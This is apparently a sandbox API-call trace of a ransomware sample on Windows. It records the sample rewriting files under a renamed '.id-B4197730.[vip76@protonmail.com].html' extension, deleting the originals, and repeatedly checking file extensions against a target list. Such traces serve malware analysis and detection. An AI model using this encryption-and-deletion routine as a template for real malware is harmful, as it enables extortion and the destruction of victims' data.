	[0062.656] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.656] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0062.656] GetLastError () returned 0x0
	[0062.656] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xfaf, lpOverlapped=0x0) returned 1
	[0062.657] WriteFile (in: hFile=0x340, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xfb0, lpOverlapped=0x0) returned 1
	[0062.658] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.658] WriteFile (in: hFile=0x340, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.659] SetEndOfFile (hFile=0x340) returned 1
	[0062.659] CloseHandle (hObject=0x340) returned 1
	[0062.660] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.660] SetEndOfFile (hFile=0x338) returned 1
	[0062.661] CloseHandle (hObject=0x338) returned 1
	[0062.661] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.661] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1
	[0062.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.661] lstrlenW (lpString=".doc") returned 4
	[0062.661] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.662] lstrlenW (lpString=".docx") returned 5
	[0062.662] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.662] lstrlenW (lpString=".pdf") returned 4
	[0062.662] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.662] lstrlenW (lpString=".xls") returned 4
	[0062.662] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.662] lstrlenW (lpString=".xlsx") returned 5
	[0062.662] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.662] lstrlenW (lpString=".ppt") returned 4
	[0062.662] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.662] lstrlenW (lpString=".zip") returned 4
	[0062.662] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.662] lstrlenW (lpString=".rar") returned 4
	[0062.662] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.662] lstrlenW (lpString=".bz2") returned 4
	[0062.662] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.662] lstrlenW (lpString=".7z") returned 3
	[0062.662] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.662] lstrlenW (lpString=".dbf") returned 4
	[0062.662] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.662] lstrlenW (lpString=".1cd") returned 4
	[0062.662] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.662] lstrlenW (lpString=".jpg") returned 4
	[0062.662] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.662] lstrlenW (lpString=".doc") returned 4
	[0062.663] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.663] lstrlenW (lpString=".docx") returned 5
	[0062.663] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.663] lstrlenW (lpString=".pdf") returned 4
	[0062.663] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.663] lstrlenW (lpString=".xls") returned 4
	[0062.663] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.663] lstrlenW (lpString=".xlsx") returned 5
	[0062.663] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.663] lstrlenW (lpString=".ppt") returned 4
	[0062.663] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.663] lstrlenW (lpString=".zip") returned 4
	[0062.663] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.663] lstrlenW (lpString=".rar") returned 4
	[0062.663] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.663] lstrlenW (lpString=".bz2") returned 4
	[0062.663] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.663] lstrlenW (lpString=".7z") returned 3
	[0062.663] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.663] lstrlenW (lpString=".dbf") returned 4
	[0062.663] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.663] lstrlenW (lpString=".1cd") returned 4
	[0062.663] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0062.663] lstrlenW (lpString=".jpg") returned 4
	[0062.663] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.664] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.664] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.664] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=80254) returned 1
	[0062.664] CloseHandle (hObject=0x338) returned 1
	[0062.664] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80
	[0062.664] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.664] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.664] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0062.665] GetLastError () returned 0x0
	[0062.665] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1397e, lpOverlapped=0x0) returned 1
	[0062.675] WriteFile (in: hFile=0x340, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13980, lpOverlapped=0x0) returned 1
	[0062.678] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.678] WriteFile (in: hFile=0x340, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.678] SetEndOfFile (hFile=0x340) returned 1
	[0062.678] CloseHandle (hObject=0x340) returned 1
	[0062.681] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.681] SetEndOfFile (hFile=0x338) returned 1
	[0063.050] CloseHandle (hObject=0x338) returned 1
	[0063.050] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.050] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1
	[0063.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.051] lstrlenW (lpString=".doc") returned 4
	[0063.051] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.051] lstrlenW (lpString=".docx") returned 5
	[0063.051] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0063.051] lstrlenW (lpString=".pdf") returned 4
	[0063.051] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.051] lstrlenW (lpString=".xls") returned 4
	[0063.051] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.051] lstrlenW (lpString=".xlsx") returned 5
	[0063.051] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0063.051] lstrlenW (lpString=".ppt") returned 4
	[0063.051] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.051] lstrlenW (lpString=".zip") returned 4
	[0063.051] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.051] lstrlenW (lpString=".rar") returned 4
	[0063.051] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.051] lstrlenW (lpString=".bz2") returned 4
	[0063.051] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.051] lstrlenW (lpString=".7z") returned 3
	[0063.051] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.051] lstrlenW (lpString=".dbf") returned 4
	[0063.051] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.052] lstrlenW (lpString=".1cd") returned 4
	[0063.052] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.052] lstrlenW (lpString=".jpg") returned 4
	[0063.052] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.052] lstrlenW (lpString=".doc") returned 4
	[0063.052] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.052] lstrlenW (lpString=".docx") returned 5
	[0063.052] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0063.052] lstrlenW (lpString=".pdf") returned 4
	[0063.052] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.052] lstrlenW (lpString=".xls") returned 4
	[0063.052] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.052] lstrlenW (lpString=".xlsx") returned 5
	[0063.052] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0063.052] lstrlenW (lpString=".ppt") returned 4
	[0063.052] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.052] lstrlenW (lpString=".zip") returned 4
	[0063.052] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.052] lstrlenW (lpString=".rar") returned 4
	[0063.052] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.053] lstrlenW (lpString=".bz2") returned 4
	[0063.053] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.053] lstrlenW (lpString=".7z") returned 3
	[0063.053] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.053] lstrlenW (lpString=".dbf") returned 4
	[0063.053] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.053] lstrlenW (lpString=".1cd") returned 4
	[0063.053] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0063.053] lstrlenW (lpString=".jpg") returned 4
	[0063.053] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.053] lstrcmpiW (lpString1=".bmp", lpString2=".html") returned -1
	[0063.053] lstrlenW (lpString="header.bmp") returned 10
	[0063.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.054] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=3628) returned 1
	[0063.054] CloseHandle (hObject=0x338) returned 1
	[0063.054] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80
	[0063.054] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.055] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.055] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0063.055] GetLastError () returned 0x0
	[0063.055] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xe2c, lpOverlapped=0x0) returned 1
	[0063.058] WriteFile (in: hFile=0x368, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe30, lpOverlapped=0x0) returned 1
	[0063.059] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.059] WriteFile (in: hFile=0x368, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0063.059] SetEndOfFile (hFile=0x368) returned 1
	[0063.060] CloseHandle (hObject=0x368) returned 1
	[0063.061] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.061] SetEndOfFile (hFile=0x338) returned 1
	[0063.062] CloseHandle (hObject=0x338) returned 1
	[0063.062] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.062] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1
	[0063.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.063] lstrlenW (lpString=".doc") returned 4
	[0063.063] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0063.063] lstrlenW (lpString=".docx") returned 5
	[0063.063] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1
	[0063.063] lstrlenW (lpString=".pdf") returned 4
	[0063.063] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0063.063] lstrlenW (lpString=".xls") returned 4
	[0063.063] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0063.063] lstrlenW (lpString=".xlsx") returned 5
	[0063.063] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1
	[0063.063] lstrlenW (lpString=".ppt") returned 4
	[0063.063] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0063.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.063] lstrlenW (lpString=".zip") returned 4
	[0063.063] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0063.063] lstrlenW (lpString=".rar") returned 4
	[0063.063] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0063.063] lstrlenW (lpString=".bz2") returned 4
	[0063.063] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0063.064] lstrlenW (lpString=".7z") returned 3
	[0063.064] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0063.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.064] lstrlenW (lpString=".dbf") returned 4
	[0063.064] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0063.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.064] lstrlenW (lpString=".1cd") returned 4
	[0063.064] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0063.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.064] lstrlenW (lpString=".jpg") returned 4
	[0063.064] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0063.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.064] lstrlenW (lpString=".doc") returned 4
	[0063.064] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0063.064] lstrlenW (lpString=".docx") returned 5
	[0063.064] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1
	[0063.064] lstrlenW (lpString=".pdf") returned 4
	[0063.064] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0063.064] lstrlenW (lpString=".xls") returned 4
	[0063.064] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0063.064] lstrlenW (lpString=".xlsx") returned 5
	[0063.064] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1
	[0063.064] lstrlenW (lpString=".ppt") returned 4
	[0063.064] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0063.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.065] lstrlenW (lpString=".zip") returned 4
	[0063.065] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0063.065] lstrlenW (lpString=".rar") returned 4
	[0063.065] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0063.065] lstrlenW (lpString=".bz2") returned 4
	[0063.065] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0063.065] lstrlenW (lpString=".7z") returned 3
	[0063.065] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0063.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.065] lstrlenW (lpString=".dbf") returned 4
	[0063.065] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0063.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.065] lstrlenW (lpString=".1cd") returned 4
	[0063.065] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0063.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0063.065] lstrlenW (lpString=".jpg") returned 4
	[0063.065] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0063.065] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0063.065] lstrlenW (lpString="ParameterInfo.xml") returned 17
	[0063.065] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.066] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=272046) returned 1
	[0063.067] CloseHandle (hObject=0x338) returned 1
	[0063.067] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80
	[0063.067] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.067] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.067] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.067] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.067] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0063.068] GetLastError () returned 0x0
	[0063.068] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x426ae, lpOverlapped=0x0) returned 1
	[0063.077] WriteFile (in: hFile=0x368, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x426b0, lpOverlapped=0x0) returned 1
	[0063.084] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.084] WriteFile (in: hFile=0x368, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0063.084] SetEndOfFile (hFile=0x368) returned 1
	[0063.084] CloseHandle (hObject=0x368) returned 1
	[0063.843] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.843] SetEndOfFile (hFile=0x338) returned 1
	[0063.847] CloseHandle (hObject=0x338) returned 1
	[0063.847] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.848] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1
	[0063.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.848] lstrlenW (lpString=".doc") returned 4
	[0063.848] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
